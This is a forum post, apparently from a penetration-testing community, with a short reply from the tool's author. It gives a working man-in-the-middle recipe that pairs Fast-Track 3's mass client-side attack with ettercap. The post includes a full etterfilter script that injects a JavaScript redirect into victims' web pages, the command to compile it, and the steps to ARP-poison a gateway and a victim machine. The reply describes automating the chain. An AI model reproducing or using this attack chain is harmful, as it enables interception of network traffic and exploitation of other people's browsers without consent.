Fast-Track 3 Client Side & Ettercap Redirection
I just installed Fast-Track 3 on Bt3 Beta and figured I'd share on a simple way to capitalize on the Client Side attack function using ettercap to redirect websites on your network to your apache server.
If you haven't already installed the new Fast-track 3.0 here's the thread with the link(BTW AWESOME job Relik!). http://forums.remote-exploit.org/sho...track+3&page=2
First you'll need to create a filter(filename.filter) to convert using etterfilter and insert a code which will allow you to redirect traffic to your webserver. For simplicity's sake, I just pulled one off our forums from this thread posted by hawaii67 which redirects all web traffic to a certain site. But you could just as easily edit it to a specific website.
http://forums.remote-exploit.org/sho...tercap+filters
Next you'll need to run the file through etterfilterCode:if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "Accept-Encoding")) { replace("Accept-Encoding", "Accept-Rubbish!"); msg("changed Accept-Encoding!\n"); } } if (ip.proto == TCP && tcp.src == 80) { replace("<BODY", "
<BODY onload=\"javascript:document.location.href='YOURAPACHESERVERHERE'\"><XSS a="); replace("<body", "
<body onload=\"javascript:document.location.href='YOURAPACHESERVERHERE'\"><XSS a="); msg("Filter Ran.\n"); }
#etterfilter filenamehere.filter -o filenamehere.ef
run fast-track.py (make sure you're running 3.0 not 2.3 or lower) and start up the mass client side attack making sure to specify your own ip.
After this either use text or gui interface for ettercap to scan for hosts then specify the default gateway as target one and the victim machine for target two. Load the filter and begin arp poisoning.
Now get on the victim machine (or be lazy and vnc in) and go to a website and you're done!
================================================== ===
Dr. Walter - Depraved linguist, Benevolent troublemaker extraordinaire
================================================== ===
started
I've started incorporating this into Fast-Track 3.1, should be able to do all of this from the command line, tricky part is automating what the gateway is, i can either pull from ifconfig or manually specify one... Not sure how I want to do this yet, but is kind of working right now
Posting Permissions
